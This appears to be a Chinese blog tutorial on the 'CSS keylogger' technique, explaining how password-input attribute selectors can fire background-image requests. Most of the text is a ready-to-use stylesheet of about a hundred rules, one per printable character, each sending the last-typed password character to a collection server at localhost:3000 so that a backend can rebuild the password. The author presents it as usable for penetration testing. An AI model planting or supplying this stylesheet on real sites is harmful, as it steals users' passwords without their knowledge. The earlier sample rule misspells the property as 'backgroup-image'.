利用CSS记录键盘

CSS如何记录键盘操作

目标,获取input中value,只要获取到value，即获取到键盘输入到值。

代码

下面,以如下代码来分析。

<input type="password" value="..."/>

input[type="password"][value$="value"]{
	backgroup-image:url("http://localhost:3000/value")
}

工作机制

这段css代码,是css选择器。input[type="password"]可以选出type="password"的input元素， 然后我们只需要针对键盘上所有可能出现的值，写出来所有选择器即可！

最后,backgroup-image:url("http://localhost:3000/value"),会加载url:http://localhost:3000/value,也就是向http://localhost:3000/value发送一个GET请求。

最后,我们只需要写一个api接口接收,传过来的数据，按顺序把数据拼在一起,即可记录用户在前端的所有键盘输入值。

下面是完整的css，这便是我们很耳熟的CSS-Keylogger，可以用来做渗透测试，攻击原理在这里了。

input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); }
input[type="password"][value$="!"] { background-image: url("http://localhost:3000/%21"); }
input[type="password"][value$="\""] { background-image: url("http://localhost:3000/%22"); }
input[type="password"][value$="#"] { background-image: url("http://localhost:3000/%23"); }
input[type="password"][value$="$"] { background-image: url("http://localhost:3000/%24"); }
input[type="password"][value$="%"] { background-image: url("http://localhost:3000/%25"); }
input[type="password"][value$="&"] { background-image: url("http://localhost:3000/%26"); }
input[type="password"][value$="'"] { background-image: url("http://localhost:3000/%27"); }
input[type="password"][value$="("] { background-image: url("http://localhost:3000/%28"); }
input[type="password"][value$=")"] { background-image: url("http://localhost:3000/%29"); }
input[type="password"][value$="*"] { background-image: url("http://localhost:3000/%2A"); }
input[type="password"][value$="+"] { background-image: url("http://localhost:3000/%2B"); }
input[type="password"][value$=","] { background-image: url("http://localhost:3000/%2C"); }
input[type="password"][value$="-"] { background-image: url("http://localhost:3000/-"); }
input[type="password"][value$="."] { background-image: url("http://localhost:3000/."); }
input[type="password"][value$="/"] { background-image: url("http://localhost:3000/%2F"); }
input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); }
input[type="password"][value$="1"] { background-image: url("http://localhost:3000/1"); }
input[type="password"][value$="2"] { background-image: url("http://localhost:3000/2"); }
input[type="password"][value$="3"] { background-image: url("http://localhost:3000/3"); }
input[type="password"][value$="4"] { background-image: url("http://localhost:3000/4"); }
input[type="password"][value$="5"] { background-image: url("http://localhost:3000/5"); }
input[type="password"][value$="6"] { background-image: url("http://localhost:3000/6"); }
input[type="password"][value$="7"] { background-image: url("http://localhost:3000/7"); }
input[type="password"][value$="8"] { background-image: url("http://localhost:3000/8"); }
input[type="password"][value$="9"] { background-image: url("http://localhost:3000/9"); }
input[type="password"][value$=":"] { background-image: url("http://localhost:3000/%3A"); }
input[type="password"][value$=";"] { background-image: url("http://localhost:3000/%3B"); }
input[type="password"][value$="<"] { background-image: url("http://localhost:3000/%3C"); }
input[type="password"][value$="="] { background-image: url("http://localhost:3000/%3D"); }
input[type="password"][value$=">"] { background-image: url("http://localhost:3000/%3E"); }
input[type="password"][value$="?"] { background-image: url("http://localhost:3000/%3F"); }
input[type="password"][value$="@"] { background-image: url("http://localhost:3000/%40"); }
input[type="password"][value$="A"] { background-image: url("http://localhost:3000/A"); }
input[type="password"][value$="B"] { background-image: url("http://localhost:3000/B"); }
input[type="password"][value$="C"] { background-image: url("http://localhost:3000/C"); }
input[type="password"][value$="D"] { background-image: url("http://localhost:3000/D"); }
input[type="password"][value$="E"] { background-image: url("http://localhost:3000/E"); }
input[type="password"][value$="F"] { background-image: url("http://localhost:3000/F"); }
input[type="password"][value$="G"] { background-image: url("http://localhost:3000/G"); }
input[type="password"][value$="H"] { background-image: url("http://localhost:3000/H"); }
input[type="password"][value$="I"] { background-image: url("http://localhost:3000/I"); }
input[type="password"][value$="J"] { background-image: url("http://localhost:3000/J"); }
input[type="password"][value$="K"] { background-image: url("http://localhost:3000/K"); }
input[type="password"][value$="L"] { background-image: url("http://localhost:3000/L"); }
input[type="password"][value$="M"] { background-image: url("http://localhost:3000/M"); }
input[type="password"][value$="N"] { background-image: url("http://localhost:3000/N"); }
input[type="password"][value$="O"] { background-image: url("http://localhost:3000/O"); }
input[type="password"][value$="P"] { background-image: url("http://localhost:3000/P"); }
input[type="password"][value$="Q"] { background-image: url("http://localhost:3000/Q"); }
input[type="password"][value$="R"] { background-image: url("http://localhost:3000/R"); }
input[type="password"][value$="S"] { background-image: url("http://localhost:3000/S"); }
input[type="password"][value$="T"] { background-image: url("http://localhost:3000/T"); }
input[type="password"][value$="U"] { background-image: url("http://localhost:3000/U"); }
input[type="password"][value$="V"] { background-image: url("http://localhost:3000/V"); }
input[type="password"][value$="W"] { background-image: url("http://localhost:3000/W"); }
input[type="password"][value$="X"] { background-image: url("http://localhost:3000/X"); }
input[type="password"][value$="Y"] { background-image: url("http://localhost:3000/Y"); }
input[type="password"][value$="Z"] { background-image: url("http://localhost:3000/Z"); }
input[type="password"][value$="["] { background-image: url("http://localhost:3000/%5B"); }
input[type="password"][value$="\\"] { background-image: url("http://localhost:3000/%5C"); }
input[type="password"][value$="]"] { background-image: url("http://localhost:3000/%5D"); }
input[type="password"][value$="^"] { background-image: url("http://localhost:3000/%5E"); }
input[type="password"][value$="_"] { background-image: url("http://localhost:3000/_"); }
input[type="password"][value$="`"] { background-image: url("http://localhost:3000/%60"); }
input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }
input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }
input[type="password"][value$="c"] { background-image: url("http://localhost:3000/c"); }
input[type="password"][value$="d"] { background-image: url("http://localhost:3000/d"); }
input[type="password"][value$="e"] { background-image: url("http://localhost:3000/e"); }
input[type="password"][value$="f"] { background-image: url("http://localhost:3000/f"); }
input[type="password"][value$="g"] { background-image: url("http://localhost:3000/g"); }
input[type="password"][value$="h"] { background-image: url("http://localhost:3000/h"); }
input[type="password"][value$="i"] { background-image: url("http://localhost:3000/i"); }
input[type="password"][value$="j"] { background-image: url("http://localhost:3000/j"); }
input[type="password"][value$="k"] { background-image: url("http://localhost:3000/k"); }
input[type="password"][value$="l"] { background-image: url("http://localhost:3000/l"); }
input[type="password"][value$="m"] { background-image: url("http://localhost:3000/m"); }
input[type="password"][value$="n"] { background-image: url("http://localhost:3000/n"); }
input[type="password"][value$="o"] { background-image: url("http://localhost:3000/o"); }
input[type="password"][value$="p"] { background-image: url("http://localhost:3000/p"); }
input[type="password"][value$="q"] { background-image: url("http://localhost:3000/q"); }
input[type="password"][value$="r"] { background-image: url("http://localhost:3000/r"); }
input[type="password"][value$="s"] { background-image: url("http://localhost:3000/s"); }
input[type="password"][value$="t"] { background-image: url("http://localhost:3000/t"); }
input[type="password"][value$="u"] { background-image: url("http://localhost:3000/u"); }
input[type="password"][value$="v"] { background-image: url("http://localhost:3000/v"); }
input[type="password"][value$="w"] { background-image: url("http://localhost:3000/w"); }
input[type="password"][value$="x"] { background-image: url("http://localhost:3000/x"); }
input[type="password"][value$="y"] { background-image: url("http://localhost:3000/y"); }
input[type="password"][value$="z"] { background-image: url("http://localhost:3000/z"); }
input[type="password"][value$="{"] { background-image: url("http://localhost:3000/%7B"); }
input[type="password"][value$="|"] { background-image: url("http://localhost:3000/%7C"); }
input[type="password"][value$="\\}"] { background-image: url("http://localhost:3000/%7D"); }
input[type="password"][value$="~"] { background-image: url("http://localhost:3000/~"); }
input[type="password"][value$=""] { background-image: url("http://localhost:3000/%7F"); }